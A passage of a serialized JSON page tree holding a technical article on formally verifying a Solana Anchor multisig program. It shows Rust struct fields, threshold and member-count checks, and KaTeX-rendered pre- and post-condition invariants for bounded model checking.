usize",{"type":24,"tag":327,"props":2424,"children":2425},{"style":346},[2426],{"type":29,"value":852},{"type":24,"tag":327,"props":2428,"children":2429},{"class":329,"line":450},[2430,2434,2438,2442,2447,2451],{"type":24,"tag":327,"props":2431,"children":2432},{"style":381},[2433],{"type":29,"value":2371},{"type":24,"tag":327,"props":2435,"children":2436},{"style":346},[2437],{"type":29,"value":2376},{"type":24,"tag":327,"props":2439,"children":2440},{"style":381},[2441],{"type":29,"value":66},{"type":24,"tag":327,"props":2443,"children":2444},{"style":346},[2445],{"type":29,"value":2446},"threshold ",{"type":24,"tag":327,"props":2448,"children":2449},{"style":381},[2450],{"type":29,"value":2166},{"type":24,"tag":327,"props":2452,"children":2453},{"style":346},[2454],{"type":29,"value":2455}," 1)\n",{"type":24,"tag":327,"props":2457,"children":2458},{"class":329,"line":481},[2459,2463,2467,2471,2475,2480,2484,2489,2493,2497,2501,2505],{"type":24,"tag":327,"props":2460,"children":2461},{"style":381},[2462],{"type":29,"value":2371},{"type":24,"tag":327,"props":2464,"children":2465},{"style":346},[2466],{"type":29,"value":2376},{"type":24,"tag":327,"props":2468,"children":2469},{"style":381},[2470],{"type":29,"value":66},{"type":24,"tag":327,"props":2472,"children":2473},{"style":346},[2474],{"type":29,"value":2446},{"type":24,"tag":327,"props":2476,"children":2477},{"style":334},[2478],{"type":29,"value":2479},"as",{"type":24,"tag":327,"props":2481,"children":2482},{"style":1639},[2483],{"type":29,"value":2422},{"type":24,"tag":327,"props":2485,"children":2486},{"style":381},[2487],{"type":29,"value":2488}," \u003C=",{"type":24,"tag":327,"props":2490,"children":2491},{"style":346},[2492],{"type":29,"value":2171},{"type":24,"tag":327,"props":2494,"children":2495},{"style":381},[2496],{"type":29,"value":66},{"type":24,"tag":327,"props":2498,"children":2499},{"style":346},[2500],{"type":29,"value":2354},{"type":24,"tag":327,"props":2502,"children":2503},{"style":381},[2504],{"type":29,"value":66},{"type":24,"tag":327,"props":2506,"children":2507},{"style":346},[2508],{"type":29,"value":2509},"len())\n",{"type":24,"tag":327,"props":2511,"children":2512},{"class":329,"line":500},[2513],{"type":24,"tag":327,"props":2514,"children":2515},{"style":346},[2516],{"type":29,"value":1609},{"type":24,"tag":327,"props":2518,"children":2519},{"class":329,"line":529},[2520,2525,2530,2535],{"type":24,"tag":327,"props":2521,"children":2522},{"style":334},[2523],{"type":29,"value":2524},"pub",{"type":24,"tag":327,"props":2526,"children":2527},{"style":334},[2528],{"type":29,"value":2529}," struct",{"type":24,"tag":327,"props":2531,"children":2532},{"style":1639},[2533],{"type":29,"value":2534}," Ms",{"type":24,"tag":327,"props":2536,"children":2537},{"style":346},[2538],{"type":29,"value":497},{"type":24,"tag":327,"props":2540,"children":2541},{"class":329,"line":538},[2542,2546,2551,2555,2559,2564],{"type":24,"tag":327,"props":2543,"children":2544},{"style":334},[2545],{"type":29,"value":2212},{"type":24,"tag":327,"props":2547,"children":2548},{"style":356},[2549],{"type":29,"value":2550}," threshold",{"type":24,"tag":327,"props":2552,"children":2553},{"style":381},[2554],{"type":29,"value":1636},{"type":24,"tag":327,"props":2556,"children":2557},{"style":1639},[2558],{"type":29,"value":2402},{"type":24,"tag":327,"props":2560,"children":2561},{"style":346},[2562],{"type":29,"value":2563},",               ",{"type":24,"tag":327,"props":2565,"children":2566},{"style":551},[2567],{"type":29,"value":2568},"// threshold for signatures\n",{"type":24,"tag":327,"props":2570,"children":2571},{"class":329,"line":547},[2572,2576,2581,2585,2589,2594],{"type":24,"tag":327,"props":2573,"children":2574},{"style":334},[2575],{"type":29,"value":2212},{"type":24,"tag":327,"props":2577,"children":2578},{"style":356},[2579],{"type":29,"value":2580}," authority_index",{"type":24,"tag":327,"props":2582,"children":2583},{"style":381},[2584],{"type":29,"value":1636},{"type":24,"tag":327,"props":2586,"children":2587},{"style":1639},[2588],{"type":29,"value":2402},{"type":24,"tag":327,"props":2590,"children":2591},{"style":346},[2592],{"type":29,"value":2593},",         ",{"type":24,"tag":327,"props":2595,"children":2596},{"style":551},[2597],{"type":29,"value":2598},"// index to seed other authorities under this multisig\n",{"type":24,"tag":327,"props":2600,"children":2601},{"class":329,"line":557},[2602,2606,2611,2615,2620,2625],{"type":24,"tag":327,"props":2603,"children":2604},{"style":334},[2605],{"type":29,"value":2212},{"type":24,"tag":327,"props":2607,"children":2608},{"style":356},[2609],{"type":29,"value":2610}," transaction_index",{"type":24,"tag":327,"props":2612,"children":2613},{"style":381},[2614],{"type":29,"value":1636},{"type":24,"tag":327,"props":2616,"children":2617},{"style":1639},[2618],{"type":29,"value":2619}," u32",{"type":24,"tag":327,"props":2621,"children":2622},{"style":346},[2623],{"type":29,"value":2624},",       ",{"type":24,"tag":327,"props":2626,"children":2627},{"style":551},[2628],{"type":29,"value":2629},"// look up and seed reference for transactions\n",{"type":24,"tag":327,"props":2631,"children":2632},{"class":329,"line":586},[2633,2637,2642,2646,2650,2654],{"type":24,"tag":327,"props":2634,"children":2635},{"style":334},[2636],{"type":29,"value":2212},{"type":24,"tag":327,"props":2638,"children":2639},{"style":356},[2640],{"type":29,"value":2641}," ms_change_index",{"type":24,"tag":327,"props":2643,"children":2644},{"style":381},[2645],{"type":29,"value":1636},{"type":24,"tag":327,"props":2647,"children":2648},{"style":1639},[2649],{"type":29,"value":2619},{"type":24,"tag":327,"props":2651,"children":2652},{"style":346},[2653],{"type":29,"value":2593},{"type":24,"tag":327,"props":2655,"children":2656},{"style":551},[2657],{"type":29,"value":2658},"// the last executed/closed transaction\n",{"type":24,"tag":327,"props":2660,"children":2661},{"class":329,"line":1017},[2662,2666,2671,2675,2680,2685],{"type":24,"tag":327,"props":2663,"children":2664},{"style":334},[2665],{"type":29,"value":2212},{"type":24,"tag":327,"props":2667,"children":2668},{"style":356},[2669],{"type":29,"value":2670}," bump",{"type":24,"tag":327,"props":2672,"children":2673},{"style":381},[2674],{"type":29,"value":1636},{"type":24,"tag":327,"props":2676,"children":2677},{"style":1639},[2678],{"type":29,"value":2679}," u8",{"type":24,"tag":327,"props":2681,"children":2682},{"style":346},[2683],{"type":29,"value":2684},",                     ",{"type":24,"tag":327,"props":2686,"children":2687},{"style":551},[2688],{"type":29,"value":2689},"// bump for the multisig seed\n",{"type":24,"tag":327,"props":2691,"children":2692},{"class":329,"line":1026},[2693,2697,2702,2706,2710,2715],{"type":24,"tag":327,"props":2694,"children":2695},{"style":334},[2696],{"type":29,"value":2212},{"type":24,"tag":327,"props":2698,"children":2699},{"style":356},[2700],{"type":29,"value":2701}," create_key",{"type":24,"tag":327,"props":2703,"children":2704},{"style":381},[2705],{"type":29,"value":1636},{"type":24,"tag":327,"props":2707,"children":2708},{"style":1639},[2709],{"type":29,"value":2226},{"type":24,"tag":327,"props":2711,"children":2712},{"style":346},[2713],{"type":29,"value":2714},",           ",{"type":24,"tag":327,"props":2716,"children":2717},{"style":551},[2718],{"type":29,"value":2719},"// random key(or not) used to seed the multisig pda\n",{"type":24,"tag":327,"props":2721,"children":2722},{"class":329,"line":1048},[2723,2727,2732,2736,2740,2745],{"type":24,"tag":327,"props":2724,"children":2725},{"style":334},[2726],{"type":29,"value":2212},{"type":24,"tag":327,"props":2728,"children":2729},{"style":356},[2730],{"type":29,"value":2731}," allow_external_execute",{"type":24,"tag":327,"props":2733,"children":2734},{"style":381},[2735],{"type":29,"value":1636},{"type":24,"tag":327,"props":2737,"children":2738},{"style":1639},[2739],{"type":29,"value":1935},{"type":24,"tag":327,"props":2741,"children":2742},{"style":346},[2743],{"type":29,"value":2744},", ",{"type":24,"tag":327,"props":2746,"children":2747},{"style":551},[2748],{"type":29,"value":2749},"// allow non-member keys to execute txs\n",{"type":24,"tag":327,"props":2751,"children":2752},{"class":329,"line":1067},[2753,2757,2762,2766,2771,2775,2780,2785],{"type":24,"tag":327,"props":2754,"children":2755},{"style":334},[2756],{"type":29,"value":2212},{"type":24,"tag":327,"props":2758,"children":2759},{"style":356},[2760],{"type":29,"value":2761}," keys",{"type":24,"tag":327,"props":2763,"children":2764},{"style":381},[2765],{"type":29,"value":1636},{"type":24,"tag":327,"props":2767,"children":2768},{"style":1639},[2769],{"type":29,"value":2770}," Vec",{"type":24,"tag":327,"props":2772,"children":2773},{"style":346},[2774],{"type":29,"value":1596},{"type":24,"tag":327,"props":2776,"children":2777},{"style":1639},[2778],{"type":29,"value":2779},"Pubkey",{"type":24,"tag":327,"props":2781,"children":2782},{"style":346},[2783],{"type":29,"value":2784},">,            ",{"type":24,"tag":327,"props":2786,"children":2787},{"style":551},[2788],{"type":29,"value":2789},"// keys of the members\n",{"type":24,"tag":327,"props":2791,"children":2792},{"class":329,"line":1075},[2793],{"type":24,"tag":327,"props":2794,"children":2795},{"style":346},[2796],{"type":29,"value":592},{"type":24,"tag":25,"props":2798,"children":2799},{},[2800],{"type":29,"value":2801},"Here we are verifying multiple things at once:",{"type":24,"tag":1380,"props":2803,"children":2804},{},[2805,2816,2827,2838],{"type":24,"tag":179,"props":2806,"children":2807},{},[2808,2814],{"type":24,"tag":284,"props":2809,"children":2811},{"className":2810},[],[2812],{"type":29,"value":2813},"!self.keys.is_empty()",{"type":29,"value":2815}," : ensure there is at least one member",{"type":24,"tag":179,"props":2817,"children":2818},{},[2819,2825],{"type":24,"tag":284,"props":2820,"children":2822},{"className":2821},[],[2823],{"type":29,"value":2824},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":2826}," : set an upper limit of 65535 members",{"type":24,"tag":179,"props":2828,"children":2829},{},[2830,2836],{"type":24,"tag":284,"props":2831,"children":2833},{"className":2832},[],[2834],{"type":29,"value":2835},"self.threshold >= 1",{"type":29,"value":2837}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":24,"tag":179,"props":2839,"children":2840},{},[2841,2847],{"type":24,"tag":284,"props":2842,"children":2844},{"className":2843},[],[2845],{"type":29,"value":2846},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":2848}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":24,"tag":228,"props":2850,"children":2852},{"id":2851},"verification-how-do-we-check-that-our-model-is-correct",[2853],{"type":29,"value":2854},"Verification: How do we check that our model is correct?",{"type":24,"tag":25,"props":2856,"children":2857},{},[2858,2860,2864,2866,2871],{"type":29,"value":2859},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":24,"tag":42,"props":2861,"children":2862},{},[2863],{"type":29,"value":1313},{"type":29,"value":2865}," on which we can run bounded model checking. Our tool does this ",{"type":24,"tag":42,"props":2867,"children":2868},{},[2869],{"type":29,"value":2870},"automagically",{"type":29,"value":2872}," for anchor-lang programs.",{"type":24,"tag":25,"props":2874,"children":2875},{},[2876,2878,2884,2886,2891,2893,2898,2900,2905,2907,2912,2914,2919,2920,2926,2928,2934,2935,2941],{"type":29,"value":2877},"Specifically, for a given ",{"type":24,"tag":284,"props":2879,"children":2881},{"className":2880},[],[2882],{"type":29,"value":2883},"Context\u003CT>",{"type":29,"value":2885}," with ",{"type":24,"tag":42,"props":2887,"children":2888},{},[2889],{"type":29,"value":2890},"incoming",{"type":29,"value":2892}," accounts of types (",{"type":24,"tag":284,"props":2894,"children":2896},{"className":2895},[],[2897],{"type":29,"value":2106},{"type":29,"value":2899},"/",{"type":24,"tag":284,"props":2901,"children":2903},{"className":2902},[],[2904],{"type":29,"value":2099},{"type":29,"value":2906},") and ",{"type":24,"tag":42,"props":2908,"children":2909},{},[2910],{"type":29,"value":2911},"outgoing",{"type":29,"value":2913}," accounts of type (",{"type":24,"tag":284,"props":2915,"children":2917},{"className":2916},[],[2918],{"type":29,"value":2099},{"type":29,"value":2899},{"type":24,"tag":284,"props":2921,"children":2923},{"className":2922},[],[2924],{"type":29,"value":2925},"close",{"type":29,"value":2927},") we define a ",{"type":24,"tag":284,"props":2929,"children":2931},{"className":2930},[],[2932],{"type":29,"value":2933},"pre_condition",{"type":29,"value":1323},{"type":24,"tag":284,"props":2936,"children":2938},{"className":2937},[],[2939],{"type":29,"value":2940},"post_condition",{"type":29,"value":2942}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":24,"tag":25,"props":2944,"children":2945},{},[2946],{"type":24,"tag":284,"props":2947,"children":2951},{"className":2948},[2949,2950],"language-math","math-inline",[2952],{"type":24,"tag":327,"props":2953,"children":2956},{"className":2954},[2955],"katex",[2957],{"type":24,"tag":327,"props":2958,"children":2962},{"className":2959,"ariaHidden":2961},[2960],"katex-html","true",[2963,3006],{"type":24,"tag":327,"props":2964,"children":2967},{"className":2965},[2966],"base",[2968,2974,2983,2989,2995,3002],{"type":24,"tag":327,"props":2969,"children":2973},{"className":2970,"style":2972},[2971],"strut","height:0.6833em;",[],{"type":24,"tag":327,"props":2975,"children":2980},{"className":2976,"style":2979},[2977,2978],"mord","mathnormal","margin-right:0.13889em;",[2981],{"type":29,"value":2982},"P",{"type":24,"tag":327,"props":2984,"children":2986},{"className":2985},[2977],[2987],{"type":29,"value":2988},"0",{"type":24,"tag":327,"props":2990,"children":2994},{"className":2991,"style":2993},[2992],"mspace","margin-right:0.2778em;",[],{"type":24,"tag":327,"props":2996,"children":2999},{"className":2997},[2998],"mrel",[3000],{"type":29,"value":3001},":=",{"type":24,"tag":327,"props":3003,"children":3005},{"className":3004,"style":2993},[2992],[],{"type":24,"tag":327,"props":3007,"children":3009},{"className":3008},[2966],[3010,3015,3166,3171],{"type":24,"tag":327,"props":3011,"children":3014},{"className":3012,"style":3013},[2971],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":24,"tag":327,"props":3016,"children":3019},{"className":3017},[3018],"mop",[3020,3029],{"type":24,"tag":327,"props":3021,"children":3026},{"className":3022,"style":3025},[3018,3023,3024],"op-symbol","small-op","position:relative;top:0em;",[3027],{"type":29,"value":3028},"⋀",{"type":24,"tag":327,"props":3030,"children":3033},{"className":3031},[3032],"msupsub",[3034],{"type":24,"tag":327,"props":3035,"children":3039},{"className":3036},[3037,3038],"vlist-t","vlist-t2",[3040,3154],{"type":24,"tag":327,"props":3041,"children":3044},{"className":3042},[3043],"vlist-r",[3045,3147],{"type":24,"tag":327,"props":3046,"children":3050},{"className":3047,"style":3049},[3048],"vlist","height:0.2253em;",[3051],{"type":24,"tag":327,"props":3052,"children":3054},{"style":3053},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[3055,3061],{"type":24,"tag":327,"props":3056,"children":3060},{"className":3057,"style":3059},[3058],"pstrut","height:2.7em;",[],{"type":24,"tag":327,"props":3062,"children":3068},{"className":3063},[3064,3065,3066,3067],"sizing","reset-size6","size3","mtight",[3069],{"type":24,"tag":327,"props":3070,"children":3072},{"className":3071},[2977,3067],[3073,3078,3084,3094,3100,3109,3118,3124,3129,3135,3140],{"type":24,"tag":327,"props":3074,"children":3076},{"className":3075},[2977,2978,3067],[3077],{"type":29,"value":57},{"type":24,"tag":327,"props":3079,"children":3081},{"className":3080},[2977,2978,3067],[3082],{"type":29,"value":3083},"cc",{"type":24,"tag":327,"props":3085,"children":3087},{"className":3086},[2992,3067],[3088],{"type":24,"tag":327,"props":3089,"children":3091},{"className":3090},[3067],[3092],{"type":29,"value":3093}," ",{"type":24,"tag":327,"props":3095,"children":3097},{"className":3096},[2998,3067],[3098],{"type":29,"value":3099},"∈",{"type":24,"tag":327,"props":3101,"children":3103},{"className":3102},[2992,3067],[3104],{"type":24,"tag":327,"props":3105,"children":3107},{"className":3106},[3067],[3108],{"type":29,"value":3093},{"type":24,"tag":327,"props":3110,"children":3112},{"className":3111},[2977,29,3067],[3113],{"type":24,"tag":327,"props":3114,"children":3116},{"className":3115},[2977,3067],[3117],{"type":29,"value":2890},{"type":24,"tag":327,"props":3119,"children":3122},{"className":3120},[3121,3067],"mopen",[3123],{"type":29,"value":349},{"type":24,"tag":327,"props":3125,"children":3127},{"className":3126},[2977,2978,3067],[3128],{"type":29,"value":320},{"type":24,"tag":327,"props":3130,"children":3132},{"className":3131},[2977,2978,3067],[3133],{"type":29,"value":3134},"t",{"type":24,"tag":327,"props":3136,"children":3138},{"className":3137},[2977,2978,3067],[3139],{"type":29,"value":603},{"type":24,"tag":327,"props":3141,"children":3144},{"className":3142},[3143,3067],"mclose",[3145],{"type":29,"value":3146},")",{"type":24,"tag":327,"props":3148,"children":3151},{"className":3149},[3150],"vlist-s",[3152],{"type":29,"value":3153},"​",{"type":24,"tag":327,"props":3155,"children":3157},{"className":3156},[3043],[3158],{"type":24,"tag":327,"props":3159,"children":3162},{"className":3160,"style":3161},[3048],"height:0.4747em;",[3163],{"type":24,"tag":327,"props":3164,"children":3165},{},[],{"type":24,"tag":327,"props":3167,"children":3170},{"className":3168,"style":3169},[2992],"margin-right:0.1667em;",[],{"type":24,"tag":327,"props":3172,"children":3174},{"className":3173},[2977],[3175,3185,3190,3195,3200],{"type":24,"tag":327,"props":3176,"children":3178},{"className":3177},[2977,29],[3179],{"type":24,"tag":327,"props":3180,"children":3182},{"className":3181},[2977],[3183],{"type":29,"value":3184},"invariant",{"type":24,"tag":327,"props":3186,"children":3188},{"className":3187},[3121],[3189],{"type":29,"value":349},{"type":24,"tag":327,"props":3191,"children":3193},{"className":3192},[2977,2978],[3194],{"type":29,"value":57},{"type":24,"tag":327,"props":3196,"children":3198},{"className":3197},[2977,2978],[3199],{"type":29,"value":3083},{"type":24,"tag":327,"props":3201,"children":3203},{"className":3202},[3143],[3204],{"type":29,"value":3146},{"type":24,"tag":25,"props":3206,"children":3207},{},[3208],{"type":24,"tag":284,"props":3209,"children":3211},{"className":3210},[2949,2950],[3212],{"type":24,"tag":327,"props":3213,"children":3215},{"className":3214},[2955],[3216],{"type":24,"tag":327,"props":3217,"children":3219},{"className":3218,"ariaHidden":2961},[2960],[3220,3252],{"type":24,"tag":327,"props":3221,"children":3223},{"className":3222},[2966],[3224,3228,3233,3239,3243,3248],{"type":24,"tag":327,"props":3225,"children":3227},{"className":3226,"style":2972},[2971],[],{"type":24,"tag":327,"props":3229,"children":3231},{"className":3230,"style":2979},[2977,2978],[3232],{"type":29,"value":2982},{"type":24,"tag":327,"props":3234,"children":3236},{"className":3235},[2977],[3237],{"type":29,"value":3238},"1",{"type":24,"tag":327,"props":3240,"children":3242},{"className":3241,"style":2993},[2992],[],{"type":24,"tag":327,"props":3244,"children":3246},{"className":3245},[2998],[3247],{"type":29,"value":3001},{"type":24,"tag":327,"props":3249,"children":3251},{"className":3250,"style":2993},[2992],[],{"type":24,"tag":327,"props":3253,"children":3255},{"className":3254},[2966],[3256,3260,3383,3387],{"type":24,"tag":327,"props":3257,"children":3259},{"className":3258,"style":3013},[2971],[],{"type":24,"tag":327,"props":3261,"children":3263},{"className":3262},[3018],[3264,3269],{"type":24,"tag":327,"props":3265,"children":3267},{"className":3266,"style":3025},[3018,3023,3024],[3268],{"type":29,"value":3028},{"type":24,"tag":327,"props":3270,"children":3272},{"className":3271},[3032],[3273],{"type":24,"tag":327,"props":3274,"children":3276},{"className":3275},[3037,3038],[3277,3372],{"type":24,"tag":327,"props":3278,"children":3280},{"className":3279},[3043],[3281,3367],{"type":24,"tag":327,"props":3282,"children":3284},{"className":3283,"style":3049},[3048],[3285],{"type":24,"tag":327,"props":3286,"children":3287},{"style":3053},[3288,3292],{"type":24,"tag":327,"props":3289,"children":3291},{"className":3290,"style":3059},[3058],[],{"type":24,"tag":327,"props":3293,"children":3295},{"className":3294},[3064,3065,3066,3067],[3296],{"type":24,"tag":327,"props":3297,"children":3299},{"className":3298},[2977,3067],[3300,3305,3310,3319,3324,3333,3342,3347,3352,3357,3362],{"type":24,"tag":327,"props":3301,"children":3303},{"className":3302},[2977,2978,3067],[3304],{"type":29,"value":57},{"type":24,"tag":327,"props":3306,"children":3308},{"className":3307},[2977,2978,3067],[3309],{"type":29,"value":3083},{"type":24,"tag":327,"props":3311,"children":3313},{"className":3312},[2992,3067],[3314],{"type":24,"tag":327,"props":3315,"children":3317},{"className":3316},[3067],[3318],{"type":29,"value":3093},{"type":24,"tag":327,"props":3320,"children":3322},{"className":3321},[2998,3067],[3323],{"type":29,"value":3099},{"type":24,"tag":327,"props":3325,"children":3327},{"className":3326},[2992,3067],[3328],{"type":24,"tag":327,"props":3329,"children":3331},{"className":3330},[3067],[3332],{"type":29,"value":3093},{"type":24,"tag":327,"props":3334,"children":3336},{"className":3335},[2977,29,3067],[3337],{"type":24,"tag":327,"props":3338,"children":3340},{"className":3339},[2977,3067],[3341],{"type":29,"value":2911},{"type":24,"tag":327,"props":3343,"children":3345},{"className":3344},[3121,3067],[3346],{"type":29,"value":349},{"type":24,"tag":327,"props":3348,"children":3350},{"className":3349},[2977,2978,3067],[3351],{"type":29,"value":320},{"type":24,"tag":327,"props":3353,"children":3355},{"className":3354},[2977,2978,3067],[3356],{"type":29,"value":3134},{"type":24,"tag":327,"props":3358,"children":3360},{"className":3359},[2977,2978,3067],[3361],{"type":29,"value":603},{"type":24,"tag":327,"props":3363,"children":3365},{"className":3364},[3143,3067],[3366],{"type":29,"value":3146},{"type":24,"tag":327,"props":3368,"children":3370},{"className":3369},[3150],[3371],{"type":29,"value":3153},{"type":24,"tag":327,"props":3373,"children":3375},{"className":3374},[3043],[3376],{"type":24,"tag":327,"props":3377,"children":3379},{"className":3378,"style":3161},[3048],[3380],{"type":24,"tag":327,"props":3381,"children":3382},{},[],{"type":24,"tag":327,"props":3384,"children":3386},{"className":3385,"style":3169},[2992],[],{"type":24,"tag":327,"props":3388,"children":3390},{"className":3389},[2977],[3391,3400,3405,3410,3415],{"type":24,"tag":327,"props":3392,"children":3394},{"className":3393},[2977,29],[3395],{"type":24,"tag":327,"props":3396,"children":3398},{"className":3397},[2977],[3399],{"type":29,"value":3184},{"type":24,"tag":327,"props":3401,"children":3403},{"className":3402},[3121],[3404],{"type":29,"value":349},{"type":24,"tag":327,"props":3406,"children":3408},{"className":3407},[2977,2978],[3409],{"type":29,"value":57},{"type":24,"tag":327,"props":3411,"children":3413},{"className":3412},[2977,2978],[3414],{"type":29,"value":3083},{"type":24,"tag":327,"props":3416,"children":3418},{"className":3417},[3143],[3419],{"type":29,"value":3146},{"type":24,"tag":25,"props":3421,"children":3422},{},[3423],{"type":29,"value":3424},"Our instruction invariants are represented as:",{"type":24,"tag":1380,"props":3426,"children":3427},{},[3428,3465],{"type":24,"tag":179,"props":3429,"children":3430},{},[3431,3458,3460],{"type":24,"tag":284,"props":3432,"children":3434},{"className":3433},[2949,2950],[3435],{"type":24,"tag":327,"props":3436,"children":3438},{"className":3437},[2955],[3439],{"type":24,"tag":327,"props":3440,"children":3442},{"className":3441,"ariaHidden":2961},[2960],[3443],{"type":24,"tag":327,"props":3444,"children":3446},{"className":3445},[2966],[3447,3451],{"type":24,"tag":327,"props":3448,"children":3450},{"className":3449,"style":2972},[2971],[],{"type":24,"tag":327,"props":3452,"children":3455},{"className":3453,"style":3454},[2977,2978],"margin-right:0.05764em;",[3456],{"type":29,"value":3457},"S",{"type":29,"value":3459},": ",{"type":24,"tag":284,"props":3461,"children":3463},{"className":3462},[],[3464],{"type":29,"value":1501},{"type":24,"tag":179,"props":3466,"children":3467},{},[3468,3494,3495],{"type":24,"tag":284,"props":3469,"children":3471},{"className":3470},[2949,2950],[3472],{"type":24,"tag":327,"props":3473,"children":3475},{"className":3474},[2955],[3476],{"type":24,"tag":327,"props":3477,"children":3479},{"className":3478,"ariaHidden":2961},[2960],[3480],{"type":24,"tag":327,"props":3481,"children":3483},{"className":3482},[2966],[3484,3488],{"type":24,"tag":327,"props":3485,"children":3487},{"className":3486,"style":2972},[2971],[],{"type":24,"tag":327,"props":3489,"children":3491},{"className":3490,"style":3454},[2977,2978],[3492],{"type":29,"value":3493},"E",{"type":29,"value":3459},{"type":24,"tag":284,"props":3496,"children":3498},{"className":3497},[],[3499],{"type":29,"value":1509},{"type":24,"tag":25,"props":3501,"children":3502},{},[3503,3505,3532,3534,3539,3541,3547],{"type":29,"value":3504},"And ",{"type":24,"tag":284,"props":3506,"children":3508},{"className":3507},[2949,2950],[3509],{"type":24,"tag":327,"props":3510,"children":3512},{"className":3511},[2955],[3513],{"type":24,"tag":327,"props":3514,"children":3516},{"className":3515,"ariaHidden":2961},[2960],[3517],{"type":24,"tag":327,"props":3518,"children":3520},{"className":3519},[2966],[3521,3525],{"type":24,"tag":327,"props":3522,"children":3524},{"className":3523,"style":2972},[2971],[],{"type":24,"tag":327,"props":3526,"children":3529},{"className":3527,"style":3528},[2977,2978],"margin-right:0.07153em;",[3530],{"type":29,"value":3531},"K",{"type":29,"value":3533}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":24,"tag":284,"props":3535,"children":3537},{"className":3536},[],[3538],{"type":29,"value":1850},{"type":29,"value":3540}," not an ",{"type":24,"tag":284,"props":3542,"children":3544},{"className":3543},[],[3545],{"type":29,"value":3546},"Err",{"type":29,"value":2108},{"type":24,"tag":25,"props":3549,"children":3550},{},[3551],{"type":29,"value":3552},"In order to verify these conditions we need to verify three cases:",{"type":24,"tag":235,"props":3554,"children":3556},{"id":3555},"account-invariants-1",[3557],{"type":29,"value":3558},"Account invariants",{"type":24,"tag":25,"props":3560,"children":3561},{},[3562,3564,3595,3597,3627,3629,3659],{"type":29,"value":3563},"After we execute an instruction, either the function should error and be reverted (",{"type":24,"tag":284,"props":3565,"children":3567},{"className":3566},[2949,2950],[3568],{"type":24,"tag":327,"props":3569,"children":3571},{"className":3570},[2955],[3572],{"type":24,"tag":327,"props":3573,"children":3575},{"className":3574,"ariaHidden":2961},[2960],[3576],{"type":24,"tag":327,"props":3577,"children":3579},{"className":3578},[2966],[3580,3584,3590],{"type":24,"tag":327,"props":3581,"children":3583},{"className":3582,"style":2972},[2971],[],{"type":24,"tag":327,"props":3585,"children":3587},{"className":3586},[2977],[3588],{"type":29,"value":3589},"¬",{"type":24,"tag":327,"props":3591,"children":3593},{"className":3592,"style":3528},[2977,2978],[3594],{"type":29,"value":3531},{"type":29,"value":3596},") or the account post-invariants should hold (",{"type":24,"tag":284,"props":3598,"children":3600},{"className":3599},[2949,2950],[3601],{"type":24,"tag":327,"props":3602,"children":3604},{"className":3603},[2955],[3605],{"type":24,"tag":327,"props":3606,"children":3608},{"className":3607,"ariaHidden":2961},[2960],[3609],{"type":24,"tag":327,"props":3610,"children":3612},{"className":3611},[2966],[3613,3617,3622],{"type":24,"tag":327,"props":3614,"children":3616},{"className":3615,"style":2972},[2971],[],{"type":24,"tag":327,"props":3618,"children":3620},{"className":3619,"style":2979},[2977,2978],[3621],{"type":29,"value":2982},{"type":24,"tag":327,"props":3623,"children":3625},{"className":3624},[2977],[3626],{"type":29,"value":3238},{"type":29,"value":3628},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":24,"tag":284,"props":3630,"children":3632},{"className":3631},[2949,2950],[3633],{"type":24,"tag":327,"props":3634,"children":3636},{"className":3635},[2955],[3637],{"type":24,"tag":327,"props":3638,"children":3640},{"className":3639,"ariaHidden":2961},[2960],[3641],{"type":24,"tag":327,"props":3642,"children":3644},{"className":3643},[2966],[3645,3649,3654],{"type":24,"tag":327,"props":3646,"children":3648},{"className":3647,"style":2972},[2971],[],{"type":24,"tag":327,"props":3650,"children":3652},{"className":3651,"style":2979},[2977,2978],[3653],{"type":29,"value":2982},{"type":24,"tag":327,"props":3655,"children":3657},{"className":3656},[2977],[3658],{"type":29,"value":2988},{"type":29,"value":3660},") should hold since we will verify all of the functions eventually.",{"type":24,"tag":25,"props":3662,"children":3663},{},[3664,3666],{"type":29,"value":3665},"So we are trying to prove that ",{"type":24,"tag":284,"props":3667,"children":3669},{"className":3668},[2949,2950],[3670],{"type":24,"tag":327,"props":3671,"children":3673},{"className":3672},[2955],[3674],{"type":24,"tag":327,"props":3675,"children":3677},{"className":3676,"ariaHidden":2961},[2960],[3678,3718,3750],{"type":24,"tag":327,"props":3679,"children":3681},{"className":3680},[2966],[3682,3687,3692,3697,3702,3707,3714],{"type":24,"tag":327,"props":3683,"children":3686},{"className":3684,"style":3685},[2971],"height:1em;vertical-align:-0.25em;",[],{"type":24,"tag":327,"props":3688,"children":3690},{"className":3689},[3121],[3691],{"type":29,"value":349},{"type":24,"tag":327,"props":3693,"children":3695},{"className":3694,"style":2979},[2977,2978],[3696],{"type":29,"value":2982},{"type":24,"tag":327,"props":3698,"children":3700},{"className":3699},[2977],[3701],{"type":29,"value":2988},{"type":24,"tag":327,"props":3703,"children":3706},{"className":3704,"style":3705},[2992],"margin-right:0.2222em;",[],{"type":24,"tag":327,"props":3708,"children":3711},{"className":3709},[3710],"mbin",[3712],{"type":29,"value":3713},"∧",{"type":24,"tag":327,"props":3715,"children":3717},{"className":3716,"style":3705},[2992],[],{"type":24,"tag":327,"props":3719,"children":3721},{"className":3720},[2966],[3722,3726,3731,3736,3740,3746],{"type":24,"tag":327,"props":3723,"children":3725},{"className":3724,"style":3685},[2971],[],{"type":24,"tag":327,"props":3727,"children":3729},{"className":3728,"style":3528},[2977,2978],[3730],{"type":29,"value":3531},{"type":24,"tag":327,"props":3732,"children":3734},{"className":3733},[3143],[3735],{"type":29,"value":3146},{"type":24,"tag":327,"props":3737,"children":3739},{"className":3738,"style":2993},[2992],[],{"type":24,"tag":327,"props":3741,"children":3743},{"className":3742},[2998],[3744],{"type":29,"value":3745},"→",{"type":24,"tag":327,"props":3747,"children":3749},{"className":3748,"style":2993},[2992],[],{"type":24,"tag":327,"props":3751,"children":3753},{"className":3752},[2966],[3754,3758,3763],{"type":24,"tag":327,"props":3755,"children":3757},{"className":3756,"style":2972},[2971],[],{"type":24,"tag":327,"props":3759,"children":3761},{"className":3760,"style":2979},[2977,2978],[3762],{"type":29,"value":2982},{"type":24,"tag":327,"props":3764,"children":3766},{"className":3765},[2977],[3767],{"t